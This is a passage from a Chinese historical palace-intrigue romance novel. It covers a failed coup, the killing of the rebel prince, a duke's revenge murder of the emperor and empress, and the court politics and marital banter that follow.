真到那种时候,袁修永会带着渭王、小皇子和赵瑞灵悄悄离开。 穆长舟还在外头,只要他们能拖住淳阳王一些时候,让赵瑞灵带着两个殷氏子找到穆长舟,就还有翻盘的机会。 渭王和小皇子都不在,只要殷炀敢死攻,太后就会让圣人和张皇后被淳阳王‘害死’。 到时候小皇子还活在穆氏手里,这盆脏水殷炀洗不干净。 “在此之前,哀家会让韩延年亲自去劝说那些宗亲,告诉他们其中的利害干系。” “就算他们不敢明着支持哀家,只要他们举棋不定,以殷炀的性子,就不敢信他们。” 袁修永也没有更好的办法,这是如今最稳妥的法子,最主要的还是要等穆长舟带着虎头军和狼覃军归来。 事情确实如太后所料,她和淳阳王都派了人暗中拉拢说服宗亲支持他们。 但宗亲们在这种生死关头也不敢完全利欲熏心,态度一直暧昧,怎么都不肯给个准话。 但太后没料到的是,淳阳王要的就是他们的举棋不定。 只五日过去,殷炀就一脸高兴地对军师道:“时间到了,我们该进城了。” 军师大吃一惊:“可宗亲们现在……” “他们都知道我和太后之间必有一战,这会儿就算发现什么动静也不敢鱼死网破,这就够了。”殷炀打断军师的话,一副胜券在握的模样。 “我们不硬攻,只带领三千飞龙军精锐,从暗道进入圣都,将所有的宗亲都请到我淳阳王府里。” 他脸上的笑意越来越深:“到时候,本王就会从宗亲们嘴里知道,他们其实是支持本王的。” “之所以摇摆不定,自然是因太后和渭王囚禁了圣人和张皇后母子,以他们的性命相挟,到时……” 他带领的人就是救驾的奇兵,宗亲们但凡不想死,就得给他冲在前头。 否则一旦消息传出去,太后知道他们‘倒戈’,谁也保不住荣华权势。 军师一听完主君的盘算,也觉得确实是个好计谋,唯一只有一个问题。 “可京城两条暗道都是殷氏修建给暗卫使用,如今怕是都被人重兵把守,我们想不动声色进城,很难。” 他没说,淳阳王府也有条能直通护城河的暗道,可现在怕是也被太后给堵了。 殷炀唇角的笑意更灿烂:“谁说我们要从殷氏的暗道进城了。” 他没多解释,只迅速让人清点了三千精锐,趁着夜色从位于曲水池一侧草窝子里的暗道悄无声息进了圣都。 太后得到消息的时候,皇城外城已经火光连天,兵戈交织的声音也隐隐约约传到了内城来。 她披散着头发急忙起身:“怎么回事?” 柳福脸色煞白禀报:“淳阳王不知道是怎么进来的圣都,直接把所有宗亲都给绑到了淳阳王府,然后放出话来……说您以圣人和张皇后母子的性命,威胁他们和文武百官听您号令,如今要进宫救驾。” 赵瑞灵和渭王还有袁修永都听到动静,急匆匆赶过来,就见太后脸色铁青。 “不是让羽林卫守好所有的暗道吗?谢闵是干什么吃的!” “姨母我冤枉啊!”跟谢景阳像是同一个模子出来的谢闵,满脸无奈进门。 “那几条暗道我都让人守着,生怕他们叫人无声无息杀了,我还特地准备了受惊就会起飞的飞鸟,一旦有动静,绝对瞒不过羽林卫。” 袁修永表情严肃:“那他们是如何进城的?难不成淳阳王还有其他暗道?” “不可能!”谢闵笃定道。 “护城河我已经叫人重兵把守了。” 圣都毕竟是国都,也不可能想起暗道就起暗道。 说是暗道,不过是大家心知肚明的路子,只允许给特定的人,以最不引人注意的方式进出京而已。 除了皇家给暗卫走的通道,其他几家勋贵的那些小路也不过是借了护城河的方便,暗地里要办什么事儿,也瞒不过皇家。 平日里他们想动用这些所谓的暗道,是要上下打点护城河守卫的。 如今护城河一戒严,根本没人能不动声色进入圣都,否则淳阳王也不会在外头围堵那么久。 殿内一时间陷入凝滞,只有赵瑞灵脸上 露出了不可置信的神色。 袁修永眼尖,“灵娘,你知道什么?” 太后和谢闵都看向赵瑞灵。 赵瑞灵脸色微微发白:“你们记得我是怎么从城外回来的吗?” 曲水池是由皇室建造的,是为了给权贵们提供一个避暑地,当时的图纸都是皇家所出。 她一脸无奈地解释:“护卫跟我说,当年曲水池为了防水患,在暗处有一个泄洪口。” “只是圣都雨少,一直没用上,先前穆长舟就是让人从这条路送我进来的。” 太后都无奈了。 “这条路连哀家都不知道,都水监也一直在哀家的掌控之中,圣人和淳阳王都不知道,如果他从此处进城……” 除了穆长舟,大概也就只有曾经掌控过醇国公府两年多的顾二娘知道了。 不过眼下也不是跟个没脑子的女人计较的时候。 太后立刻道:“袁翁你这就带着灵娘和琰儿还有小皇子走!” “谢闵你跟我一起,将圣人和张皇后请到内城的城墙上去,我倒要看看,殷炀这个做叔叔的,为了谋朝篡位,敢不敢将我们都杀了!” 赵瑞灵愣了下,赶忙道:“我不走,我跟姨母一起,我是灵童转世之后,我可以帮你!” 渭王也不肯走,抱住太后的腰,“阿娘,我不走,我是储君,也是大昭未来的新君,我要跟将士们并肩作战!” “胡闹!你们一个小娘子,一个小孩子,这时候瞎逞什么能!”太后厉声呵斥。 “留得青山在不怕没柴烧,只有你们都安全撤退了,我和谢氏才有活路!” 赵瑞灵和渭王无奈,只能让袁修永和乔媪拉着,去接了小皇子,被赵安素她们护着,从皇家掌控的暗道那边走。 可没等他们从紫宸殿走出去多远,秦进就带着羽林卫左卫,还有常右监急匆匆赶过来拦住他们。 秦进说:“醇国公夫人,袁翁,渭王,你们不能走。” 袁修永看向常右监:“你也这么觉得?看来你是全然忘了才绝娘子当年是怎么救你性命的了。” 常右监苦笑,冲着袁修永和赵瑞灵长揖不起。 “绝非我常氏忘恩负义,只是如今暗道外头已经让飞龙军把守,一旦你们出去,就会面临近万大军的围剿。” 秦进也赶忙点头:“这会儿你们只有跟太后一起,只要有圣人遗诏,淳阳王才不敢斩尽杀绝。” “哪怕是暂时被囚禁也无妨……”他恭敬跪地。 “我秦氏早就归属了安国公,当时秦氏接纳常氏,甚至能够爬到羽林卫左卫的位子上,都是安国公暗地里的安排。” “他本就是为了在恰当的时候,让末将将谢氏一族送出圣都,保全谢氏血脉。” 虽然如今危机从圣人那里变成了淳阳王,殊途同归,他们只需要等到穆长舟归来,几天时间他们保住自己的命应该不会很难。 安国公如今也跟太后在一起,赵瑞灵他们暂时没办法确认秦进所言真假,但袁修永心里清楚,这是他们唯一的选择。 即便秦进是淳阳王的爪牙,与其面对近万飞龙军,他们也只能孤注一掷了。 他们一行人在秦进和常右监的‘监视’下,回到了太后所在的城楼上。 也不知道是不是安国公跟太后说了什么,总之太后看到他们并没有太过奇怪,只一脸平静。 “来了,那就都站好了,别让乱臣贼子和那些忘恩负义的宗亲们看了笑话!” 她说话的工夫,外城的羽林卫已经被斩杀殆尽,淳阳王身穿染血的黄金甲,身后带着一群畏畏缩缩的宗亲,耀武扬威地从城门走了进来。 他骑在马上,面色肃杀看向太后:“妖妇,你以小皇子为要挟,囚禁圣人和皇后,意图让渭王篡位,还威胁众多宗亲,今日我就要替殷氏列祖列宗休了你这个毒妇!” “当年你阿耶想休了顾氏女,结果引得你阿娘气死,你外家再不肯将你表妹嫁你,倒是拦不住你偷鸡摸狗,小人得志,今日又轮到我谢氏了?”太后不为所动,只微微一笑。 “也不知道殷氏的列祖列宗到了黄泉之下,有没有脸面对老镇国公和我阿耶。” “昨日是顾氏,今日是我谢氏,焉知明日不会是张氏和你妻族,抑或……眼前这些宗亲们呢?” “妖妇休要胡言乱语!”殷炀发现跟随他而来的飞龙军亲兵有些躁动,连宗亲们都有些止步不前,厉呵出声。 “你就说再颠倒黑白,也改变不了你意图谋夺皇位的野心,牝鸡司晨乃为乱世之象……” 太后嗤笑一声,打断他的话:“行了,在哀家面前就不用讲这些冠冕堂皇的话了,你敢告诉所有人你是怎么进来的圣都吗?” “还是说你殷炀就不想某朝篡位了,你若敢当众发誓,你这一脉永生永世都不会惦记皇位,否则天打雷劈不得好死,哀家也不是不能让小皇子继位,由你来做摄政王如何?” 殷炀脸色沉了下去:“既然你不想好好说话,那就不用说了!” “随我一起,将这妖妇拿下!救驾!” 即便在场的人心里都有一杆秤,可眼下也不是细思量的时候,随着殷炀一声令下,双方又开始打了起来。 但羽林卫毕竟比不过飞龙军的精锐,而且羽林卫的人也不是全都在这儿,人数上也比不过飞龙军,很快就被殷炀逼到了城门底下。 就在这危急关头,外头突然传来长长一声号角,接着就是人大喊的声音—— “报!!!醇国公带领虎头军、狼覃军十万大军压城,喊着清君侧的口号,即将攻入圣都!” 殷炀脸色猛地一变。 太后等人却从紧绷中得以放松下来一些。 抱着孩子跟阿桥紧紧靠在一起的赵瑞灵大喜,她夫君竟然比袁翁预料的回来得还快! 呜呜呜命保住了,她要给夫君生小鱼儿!! 巧的是,殷炀一抬头,也看到抱着小皇子探头的赵瑞灵,眼神倏然锐利。 他挥了挥剑—— “继续进攻,将小皇子和醇国公夫人先救下来!” 他没想到穆长舟来得会这么快,怪不得他一直觉得心惊肉跳的,幸亏他昨晚进城来了。 其他人死就死了,只要小皇子和醇国公夫人在他手里,穆长舟就不敢轻易动手。 这是他唯一反败为胜的机会! 第56章 第56章这正事儿不会是她吧??…… 淳阳王很清楚穆长舟的战力,已被祭旗的严辎曾不止一次在呈送来的密信上,仔细记载过穆长舟在狼覃军的战绩。 以未籍贯之身,到西北仅用了十年……不,还要更短的年头,就能在群狼环伺中令西戎人闻风丧胆,殷炀从未小瞧过自己这便宜外甥,不然他也不必浪费精力一直吊着那个半老徐娘。 所幸苍天怜他,因为赵瑞灵那番奚落的话,他不过是让婢子敷衍着安抚了几句,竟让他得到了意料之外的惊喜,才有了如今的大好局面。 可惜天运不肯怜他到底,又让这小畜生赶上了如此微妙的时刻,跟他那个短命的老子一样可恨! 殷炀带着从穆长舟他老子那时候就积攒起来的嫉恨,带着亲卫,一路势如破竹攻上了城楼。 太后拉着渭王,赵瑞灵和抱着小皇子的阿桥,安国公护着张皇后和圣人,都在谢闵并羽林卫的保护下,被逼得步步后退。 圣人虽虚弱至极,眸底却带着格外冷酷的审视和嘲讽。 他早知道这个皇叔不安分,一直放纵这个野心有余能力不足的皇叔私下里屯兵,勾结朝臣,可惜殷炀依然不能成事,简直是个废物。 虽然淳阳王的攻势很猛,可长了眼的都看得出他这是穷途末路的挣扎。 圣人在这危急时刻,也顾不上看这个废物皇叔出丑,只垂着眸子在心里暗暗思忖,等穆长舟攻进来,他要怎么利用穆氏的立誓来掣肘太后和渭王。 是的,他知道如今大势已去,碍于他这具破败身子,他已经拦不住谢氏和身具谢氏血脉的渭王崛起了。 但他也绝不会眼睁睁看着谢氏谋夺了属于他们殷氏的天下! 圣人能看得出来,殷炀自然也能发现太后的嘲讽和圣人的不屑,心中更是恼恨,怒喝出声—— “不计一切代价,给我杀过去!拿谢氏妖妇首级遮,本王赏万金!” 重金之下必有勇夫,他话音一落,城楼上本来有些疲软的攻势突然猛烈 起来。 殷炀没躲在亲兵背后,他也曾经上阵杀过敌,虽养尊处优,但功夫并没有落下,也跟着杀到了前头。 太后身边有谢闵护着,圣人两口子有虞栋带人守着,赵瑞灵这边有赵安素带着武婢,可在敌军不要命的打法之下,武婢们毕竟见过的血少,除了赵安素以外,其他人动起手来,完全没有羽林卫和虎头军亲卫凶猛。 一时间,竟是让殷炀打到了赵安素面前,他一个虚晃,拼着受伤,一脚将赵安素踹开,就狰狞着面色朝赵瑞灵冲了过去。 阿桥抱着小皇子,一时也来不及上前,赵安素倒在地上,爬起来已然冲不过去,赵瑞灵脸色煞白,却又没办法后退。 她背后是个婴儿,还有一直护着她的阿桥,她再推两人就要从城墙上掉下去了。 就在这千钧一发的关头,赵瑞灵大脑一片空白,就如同在翟山驿那回一样,无计可施的她只能死死闭上眼睛,挓挲着胳膊挡住尖叫的阿桥和哭泣的小皇子。 穆长舟提着长枪一路策马疾奔而来,看到的就是这熟悉的画面,引得他心窝子里又是一阵怒气上涌。 这小娘子永远就学不会躲是吗? 他由着怒气上升,将怒火化为力量,提起长枪,运内劲于其上,用力掷出。 长枪划破了被血腥味占据的天空,直直朝着城楼射过去。 赵瑞灵只听得一声低呼,接着就是不怎么陌生的温热液体扑了她一脸,她一睁眼,就看到一柄染血的长枪枪头……从淳阳王的脖颈上透颈而出。 淳阳王手中的刀倏然落地,他不可置信地捂着自己的喉咙嗬嗬出声,接着就顺着长枪扎过来的力道往前扑倒。 赵瑞灵瞳孔一震,忍不住尖叫着赶紧往旁边躲,反正这回她是不可能跟人脸对脸贴上了,这辈子都不可能再有一回! 阿桥抱着小皇子也下意识跳开,主仆俩隔着扑倒在地的淳阳王面面相觑,又是吓得想哭,又有点莫名想笑,情绪一时间格外复杂。 太后第一时间发现了淳阳王的死,她往城楼下看了一眼,突然扬声高喝—— “逆贼殷炀已死,淳阳王已经伏诛!尔等立刻束手就擒,哀家与圣人会放你们一条生路,继续冥顽不灵者,诛九族!” 城墙上下的叛军听着太后还有内侍们的高声重复,犹豫着慢慢停了下来。 没办法,主君都死了,他们就算再打又能怎样呢? 穆长舟带着后面赶上来的甄顺还有一干亲卫,立刻登上城楼,护驾的同时,也押送淳阳王的亲卫往下走。 赵瑞灵暗戳戳缩在阿桥身后。 那什么,她是很想念自己的夫君没错啦,但这种时候,就看那阎王的脸色,也知道他一定很生气,她才不去触霉头呢。 人家都是小别胜新婚,她这里总不能小别挨顿骂吧? 穆长舟也暂时顾不上跟自家娘子计较呢,他清楚自家这小兔子不要脸的时候是真不要,但要的时候又最好面子,他也不能在大庭广众之下训妻,后头有的是机会。 小两口都没工夫说话,太后和渭王倒是有心跟穆长舟多说几句,可眼下还有那些宗亲要处理,也实在没时间。 太后只能让人先将宗亲们送到含元殿去看管着,带着渭王先去安抚军心。 众人都忙着……起码装也装得很忙,只有安国公虞栋,依然不紧不慢护着张皇后和圣人往太极殿去。 张皇后在叛军被俘后,因为受惊过度已经晕了过去,跟圣人一样都被人抬着。 虞栋就走在圣人边上,等走到离太极殿还有几百米的拐角处,他非常恭敬地弯着腰为圣人盖毯子,说话也格外恭敬。 “陛下,您龙体还好吧?若是有哪儿不舒服,您只管跟臣说,臣去叫太医。” “朕没……”圣人艰难地摇了摇头,咬牙想叫虞栋将穆长舟叫到太极殿来。 虞栋笑着打断了圣人的话:“陛下也觉得没必要叫太医了是吧?毕竟你服用的合欢香,虽然会让陛下身体虚弱,但若是仔细将养着也不是不能养好,可惜陛下一直服用大补之物,导致虚不受补,彻底掏空了您的身子。” 圣人猛地瞪大了眼,死死盯着虞栋:“你……你大胆……” “这都是跟陛下学的。”虞栋嗤笑。 “但凡你愿意放过谢氏,那合欢香和补药也不会送到你手中,当年你们殷氏因着谢氏才能得到天下,因着苑娘的灵童转世之名才能得到诸多附庸,大业未成就想卸磨杀驴,这大概就是你们的报应吧。” 圣人被气的胸膛剧烈起伏,但因为喘不过来气,捂着胸口,面如金纸,怎么都说不出话来,渐渐脸涨红起来,眼珠子都开始往外凸。 抬着圣人和皇后的仆从都抖得筛糠一样,虞栋只平静看着圣人在极度的不甘和恨意中窒息。 ‘哐当’一声,不知道是哪个内侍没抬稳,圣人的轿辇突然落地,圣人死不瞑目地歪在了轿辇里。 连张皇后的轿辇都落了地,所有的仆从都跪地,死命磕头—— “安国公饶命!安国公饶命!” “我们什么都没看见,我们什么都没看见啊!” 虞栋冷冷扫过他们,好一会儿才蓦地道:“没看见?你们不是看到了,圣人被淳阳王逼上城楼,震怒之下气死了,张皇后惊惧过度,与之殉情吗?” 几个内侍哆嗦得更厉害了,但他们实在不想死,所以几个人面面相觑片刻,抖着身子拖着腿,掀开张皇后的帘子,有人摁腿,有人用软枕捂脸。 他们很清楚,如果他们不背负上杀害皇后的罪名,等待他们的就是安国公的灭口。 虽然杀了皇后他们也不一定能活,可这是他们唯一的生路。 片刻的闷哼和挣扎过后,两个轿辇都没了动静。 有聪明的仆从立刻大哭出声,惊呼着喊—— “不好了,圣人薨逝!圣人殡天啦!” “皇后!皇后您醒醒啊!皇后也薨了!” “圣人!皇后!” …… 虞栋唇角微微勾了下,想起苑娘跟他告别之前那个夜里说过的话,唇角的笑意抖了两下,唇角又恢复了平静。 苑娘跟他说,让他不要陷在仇恨里,他不是她的所有物,让他要学会为自己而活。 可他就是个没有家的狼崽子,是苑娘给了他一个家,也只有苑娘把他当一个人看,他又怎能不恨呢。 但苑娘的话他要听,如今那些害得苑娘不得不远死他乡的畜生都死干净了,他还有许多事要做,他不恨了。 虞栋没理会哭喊着叫人的内侍,带着自己的亲卫默不作声地转身离开了这个让他每时每刻都想杀人的宫廷。 叛军已经伏诛,圣人和皇后也双双身殒,太后和渭王一进入太极殿,最懂识时务为何的宗亲们齐刷刷跪地,高呼—— “恭请新君大安,臣等见过新圣!” 渭王略有些无措,脸 上带着些许疲色的太后却淡淡开口,“都起来吧。” “圣人刚刚薨逝,琰儿还未曾继位,如今行礼太早了些。” 立马有聪明人听出来了。 宗正寺的宗正赶忙站出来:“国一日不可无君,臣这就去寻礼部和太常寺为新君登基准备仪式,以最快的速度敬告祖宗和天地!” 太后坐在上首,似笑非笑看他们:“各位宗亲可要想清楚,琰儿毕竟是哀家这个妖妇所出,若是你们有其他人选,也尽可举荐上来。” 众人赶忙道不敢,又说自己是怎么被逆贼殷炀所威胁,殿内拍马屁的话此起彼伏,生怕落后人一点就要被拉出去砍了。 既然造反已经被镇压,赵瑞灵也就没必要留在宫里了,将小皇子交给秦媪后,她赶忙带着阿桥和受伤的赵安素回了醇国公府。 一回到府里,她就催着赵安素去看府医。 “我都看到了,你被踹得那一脚很重,可千万别留下什么病根。”赵瑞灵一脸担忧地看向赵安素。 “不行,我不放心,我还是去照顾你,看看府医怎么说再回正院!” “就这么定了,走走走!” 说完她推着无奈的赵安素就要回赵安素的院子,像是生怕晚一步就要掉到狼窝里一样。 迎上来的乔媪和阿桥都憋着笑,眼神不自觉往二门门口那个靠着门冷笑的身影上飘,低着头什么话也不敢说。 赵瑞灵丝毫没发现有个该在外头忙的人已经回家了,只想趁着狼还没回来,先躲开危险。 结果她一转身,就看到了站在门口冲她挑眉的穆长舟。 “府医!府医快来!我,我头疼!”赵瑞灵赶紧捂住自己的脑袋,靠在赵安素身上开始哼哼,还偷偷推着她往外走。 赵安素:“……”刚才不是还要给她请府医吗?她们到底是谁病了? 穆长舟冷笑一声,上前一把抄起赵瑞灵就往正院走。 赵瑞灵吓得大叫:“哎呀,你,你不是该在外头忙吗?我自己来就行了,你别耽误了正事儿啊!” 穆长舟大跨步迈进正院的大门,走上游廊,“我回来就是干正事儿来的!” 他越想这小兔子当时那不要命的样子就越生气,要是跟她聊不好这个问题,他实在是无心解决外头那些杂七杂八的事儿。 赵瑞灵小声问:“你回来能干什么正事儿!”这正事儿不会是她吧?? 穆长舟进入卧房,将赵瑞灵扔进幔帐,慢条斯理堵住她的退路,伸手解开了自己的蹀躞带。 “我想跟娘子好好聊聊你急着投胎的事儿。” 第57章 第57章我们聊点正经的! 赵瑞灵目光随着他的蹀躞带落到屏风上,紧张地吞了下口水,人迅速往后缩。 “我,我有安素护着呢!” “当时的情况你也看到了,我总不能将阿桥和小皇子挤下楼……” 穆长舟听着她干巴巴解释,将外袍扔到屏风上,冲她微微一笑。 “不急,咱们慢慢聊。” 赵瑞灵:“……”他这也不像是要聊天的样子啊! 她终于反应过来,这人又把她往坑里带,趁着他坐在床沿的功夫,抬脚去踹他。 “袁翁说照你们的脚程,就算是走水路都要明日才能到,你提前一日回来,又跟人打了那么久,最需要的就是好好休息!” 穆长舟顺势捏住她细白的长袜,用巧劲儿将人拖进怀里,贴着赵瑞灵俯身。 “我这不是正打算休息?” “你,你去前院休息,我还要去看安素……唔!”赵瑞灵抵住他的胸膛,莫名有些喘不过气来。 她的话被穆长舟低头堵住,过了好一会儿,直到赵瑞灵喘不过气来,长舟才稍稍放开她一些。 他用赵瑞灵几乎不敢直视的目光灼灼盯着她。 “乖,不先吃点好的,我睡不着。” 其实穆长舟回来赵瑞灵还挺高兴的,只是他这火急火燎的架势叫人浑身发软,只想着跑。 穆长舟近十日的时间,几乎是日夜不停赶到了西南,用赵瑞灵给的金玉符节和虞栋的印信,杀了淳阳王两个亲信,以最快的速度立威,带着两万虎头军出发。 在走水路之前,他每天最多能睡两个时辰,还要不停地安排两军的调度,就算强悍如他也有些吃不消。 每当累的时候,出现在他脑海中的都是这个磨人的小兔子。 先前他又亲眼看到她差点被淳阳王所伤,思念和心悸化作一把把火在他身体里燃烧。 烧得他顾不得外头的风风雨雨,只想着立刻将这小兔子揉碎了吃进嘴里才能安心。 被他箍在怀里的赵瑞灵,感觉自己像是被推到岸边的鱼,又热又渴,只能紧紧攀附着上方的身影,嗓音一点点变得沙哑。 在昏昏沉沉的起伏中,她这才反应过来,说是要聊,却又是个大坑。 这人分明是记得先前在城门外分离时的话,回府来生小鱼儿来了。 她不知道自己是怎么睡过去的,但等醒过来的时候,已经快到午时。 阿桥就在一旁伺候着,听见动静,红着脸过来伺候她起身洗漱。 泡澡的时候阿桥依然不好意思抬头,过去姑爷在府里的时候,娘子身上的痕迹就没少过。 可哪回也没跟这次一样,连后背都是斑驳痕迹。 昨晚她在旁边的抱厦里都听见了娘子的哭声,起起伏伏的还特别有规律,到了大半夜也没停。 赵瑞灵看阿桥这模样就知道,昨晚她和穆长舟的动静应该不小,放在平日里她还要羞恼一下,但这会儿她根本顾不上。 “穆……咳咳,穆长舟呢?”她哑着嗓子问。 阿桥:“国公一大早就出府了,说是外头还有要紧事,晚上回来陪您——” 赵瑞灵抬起手打断阿桥的话,咬着牙忍住胳膊的颤抖,颤巍巍从浴桶里往外爬。 “快!给我收拾行囊!” 晚上他肯定不会干什么好事儿,趁着他不在府里,她要去温泉庄子上躲一躲。 阿桥捂着嘴偷笑:“国公离府前说了,城门如今还在戒严,您哪儿也去不了。” “若是您想去温泉庄子,等姑爷回来了您自个儿跟他说,国公说可以跟您一起去。” 爬到一半的赵瑞灵:“……”这人是属狐狸的吧? 她不甘心地又坐了回去,“那宫里……” “太后和新君还在商议登基大典,暂时不见人。”乔媪从外头进来,笑着将赵瑞灵的话堵回去。 赵瑞灵又问:“那安国公……” 阿桥抢先:“安国公跟咱们国公一起出城了。” “还有大郎和二郎……” 乔媪也憋着笑:“都被送去袁翁府上了,国子监这几日闭馆,但估计不久后就要加开恩科,袁翁有心让他们两个试试童试。” 穆嘉誉在程家长大,程家是跟袁家齐名的清流世家,早早就给穆嘉誉开蒙了。 于旻虽然开蒙晚了些,但有袁修永教导,他如今的水平应对童试也没太大问题。 袁修永正好想避开朝堂那一摊子事儿,干脆就将两个孩子连着袁大郎的小儿子一起都拎了过去。 赵瑞灵无话可说,只好捂着肚子可怜巴巴看着乔媪。 “我饿了,我今天要多吃点……” 吃完了好多睡会儿。 阿桥和乔媪对视一眼,笑而不语。 如今新君已经继位,一切也算是尘埃落定,醇国公府不说能更上一层楼,却也在无后顾之忧,府里也是时候该多个小主子了。 穆长舟显然也是这么想的,所以一直到重阳节为止,赵瑞灵就再也没见过晨起的太阳。 就算她提前落了锁也白瞎,那狗东西根本不讲武德,他爬窗户比走大门还顺当。 小别胜新婚变成了小别更费腰,赵瑞灵实在是有些不耐烦了,等到登基大典一办完,就打算跟穆长舟好好聊聊。 她提前将又想过来将她揣进怀里的男人推开。 “我们聊点正经的!”她义正言辞道。 “太医都说了,你身体需要仔细将养着,不能仗着还年轻就不把伤病当回事。” “我也问过府医了,府医说你这种情况不太适合生孩子,所以你还是回前院,先仔细将养一阵子再说。” “仔细将养为什么要回前院?我在你院子里也可以将养。”穆长舟挑眉,顺着赵瑞灵的意思坐在她对面。 赵瑞灵偷偷翻了个白眼,她就听他吹,他在这里有一晚上老实过吗? 但她刚要说话,外头就传来了甄顺的声音—— “郎君,娘子,大郎和二郎回来了,说有话要跟你们禀报。” 赵瑞灵只好先咽下没说完的话,将两个孩子喊进来。 进了门后,穆嘉誉喊了人后就袖手在一旁不说话,明显还是不太习惯跟赵瑞灵相处。 赵瑞灵也不是会当后娘的人,从来也不勉强穆嘉誉跟她亲近,只让人照顾好穆嘉誉的起居饮食就算了。 这会儿她也让乔媪先给两个孩子端热饮子进来,才看向明显有话要说的于旻。 “是袁翁要你带什么话吗?” 于旻在穆长舟面前有些拘束,听到阿嫂问,才赶紧点头。 “先圣说,让嫂……让醇国公这阵子不要跟安国公来往了,免得引火烧身。” 赵瑞灵疑惑看向穆长舟:“什么意思?” 她已经认了安国公做干耶,太后也知道她和安国公的关系,两家之间来往怎么会引火烧身呢。 穆长舟倒是听明白了,他先让甄顺送两个孩子回去休息,这才跟赵瑞灵解释。 “新君继位总要烧三把火,朝中就那么多位子,怕是有人坐不住了。” 有人怕这三把火烧到自己身上,巴不得替新君将这火点起来。 也有人怕穆长舟会因先前的功劳得了太后和新君的看重,位高权重,挡了自己的青云路。 甚至太后那边,对于功高盖主的几位国公,到底是个什么心思还说不准。 在一旁伺候的阿桥突然觉得有点脸疼,先前刚觉得往后的日子尘埃落定了,这怎的又起了波澜。 她担忧地看向赵瑞灵,却发现自家娘子面上并无意外神色。 赵瑞灵早就预料到这一天了。 “那会有人弹劾你吧?因为你调动了虎头军?” 穆长舟不欲让自家娘子为这些事烦忧,他只笑道:“没什么,左右我这些年被弹劾也不是一次两次了,太后是你姨母,你也清楚她的性子。” 即便新君继位,小皇子仍然活着,先圣和淳阳王那些明面上的附庸解决得差不多,一定会有漏网之鱼。 这种多事之秋,太后不会做兔死狗烹,让功臣寒心的事。 他揽着赵瑞灵往卧房去:“我们继续说说将养的事儿,听一位学识渊博的山长说,有些睡觉的姿势对将养身体非常好,来,咱们细聊。” 赵瑞灵:“……呸!” 谁要跟他聊这种不正经的啊! 话是说得不正经,但穆长舟也感觉出自家娘子对他身体的担忧,心里很是受用,晚上倒是没真做什么,老老实实抱着赵瑞灵睡了个好觉。 翌日一大早,难得穆长舟没出门。 他们两人都还没醒呢,太极殿上的争论就已经激烈起来了。 一开始弹劾穆长舟的人,让坐在新君背后垂下的水晶帘内的太后都感觉有些微妙,正是他的前岳丈程邈。 “启禀圣人,启禀太后!虽说醇国公救驾有功,但身为武将,擅动兵权在历朝历代都是大忌,无规矩不成方圆,国法大于情理……”他洋洋洒洒掉了一通书呆子说明武将擅动兵权的利害关系。 “醇国公为狼覃军大将军并西北都护,却动用西南军,此为越权,还请太后和圣人明察秋毫!” 立刻有提前得知消息的勋贵站出来高呼:“臣附议!” “虽有事急从权之说,可虎头军乃是安国公所掌,他擅自将印信交给他人,又在保护先圣和张皇后的时候让先圣和张皇后受惊暴毙,此为严重失职,请太后和圣人严惩!” 水晶帘背后的太后表情众人看不清楚,但却听到了坐在龙椅上的新君轻嗤了一声。 连他一个孩子都知道不能过河拆桥,要是没有醇国公和安国公的付出,这些人想保住命都难,这不是放下碗骂娘吗? 也忒不要脸了点。 听到上首这声轻嗤,大殿内瞬间安静下来,一时间气氛格外的尴尬。 第58章 第58章娘子要去砍了他们??…… 等穆长舟得知太极殿上发生的事,朝会已经结束了。 新君尚且年幼,太后四两拨千斤的轻斥几句,只说先前叛乱时朝中有不少大臣功过皆有之,不日宫中将会颁布旨意,赏罚分明。 王公大臣们能跟天底下最尊贵的母子二人计较吗?还不是只能捏着鼻子当什么都没发生。 众人弹劾安国公和醇国公的目的,也不是为了让太后和新君给二人定罪。 “此举虽为群臣怕太后和新君清算之由,也是百官对母子二人的试探,如果太后和新君处理不好,很快就会被那些吃人不吐骨头的勋贵和大臣们拿捏。”穆长舟跟好奇的赵瑞灵解释自己和安国公为何不上朝。 “这种时候我和虞栋都不适合露面,否则便有以功相挟的嫌疑。” 赵瑞灵咂摸了下嘴,摇头感叹:“这些大臣们,还不如市井买菜的老媪呢。” 赵瑞灵先前在湖州府甚少出门,接触最多的就是偶尔出门买菜时见到的脚商和主顾。 起码想占便宜的老媪打压货物,明明白白是想省几文钱。 那些王公大臣们却口口声声打着为大昭好的名义,她跟新君感受差不多……这些人也忒不要脸。 见她抱着胳膊,气鼓鼓地一副若有所思模样,穆长舟失笑,拍了拍她脑袋。 “好了,不要为这些不相干的人费心,太后可不是省油的灯,这些人怕是忘了谢氏女的威名。” 当初是太后嫁给先圣阿耶,不是因为人家不想娶才绝娘子,而是太后手段高,让先圣阿耶只能求娶她。 谢家双姝的名声,前朝时在淮南道一直都很盛,不过太后更低调沉稳些罢了。 见赵瑞灵松了口气,穆长舟就没说,这第一把火烧到他身上,可不只是王公大臣们的试探,太后怕是也怀揣着不浅的心思。 只是他不想叫自家娘子为这些事忧心。 先前让她累得起不来身,时时陪着她,不只是为了小鱼儿,也是不想让英国公府的人来打扰。 英国公谢正阳忠于先圣多年,与亲妹妹关系并不好,如今处境尴尬。 还有刑部侍郎谢承阳,因为其妻杨氏的阿耶杨矛延为先圣所用,也是焦头烂额。 如今杨氏除外嫁女以外,都已下了大狱,等着秋后问斩呢。 穆长舟知道赵瑞灵跟英国公世子和谢四娘关系都不错,这些人求救无门,肯定会把心眼子动到她身上。 他都舍不得叫这小兔子忧心,那些人想都别想。 她就适合无忧无虑地造作,一如他岳母想得那样不谙世事下去。 可上门的人能拦得住,宫里的消息却拦不住。 重阳节过去没几日,太后便下了懿旨,对救驾有功的穆长舟还有始终在宫中护卫新君的安国公大加赏赐。 新君也下了旨,为虞栋选出来的过继的嗣子封了安国公世子,也将穆嘉誉封了醇国公世子。 太后还专门给赵瑞灵下了道懿旨,思及醇国公功劳大,爵位却已经封顶,特封将来她所生的子嗣位比县主或侯爵。 这种晋封还没影儿的子嗣的旨意,甭管哪朝哪代还都没见过,也是叫圣都的权贵们开眼了。 不只是开眼,殷氏宗亲和王公权贵们更忌惮穆长舟。 安国公虽说过继了嗣子为世子,但安国公为人孤僻,跟嗣子关系并不亲近,只是为了香火传承,对权贵们威胁不算大。 醇国公府不一样。 穆长舟还年轻,西戎未灭,还有的是军功。 醇国公夫人的阿娘是太后的亲妹妹兼救命恩人,她又是新君的表姐……一旦他们有了孩子,顷刻间就会成为圣都最受宫中喜爱的后辈。 朝中的 坑就那么多。 赵瑞灵不生男丁,还有个穆大郎呢,若她生了男丁,还有其他人家后辈们发挥的余地吗? 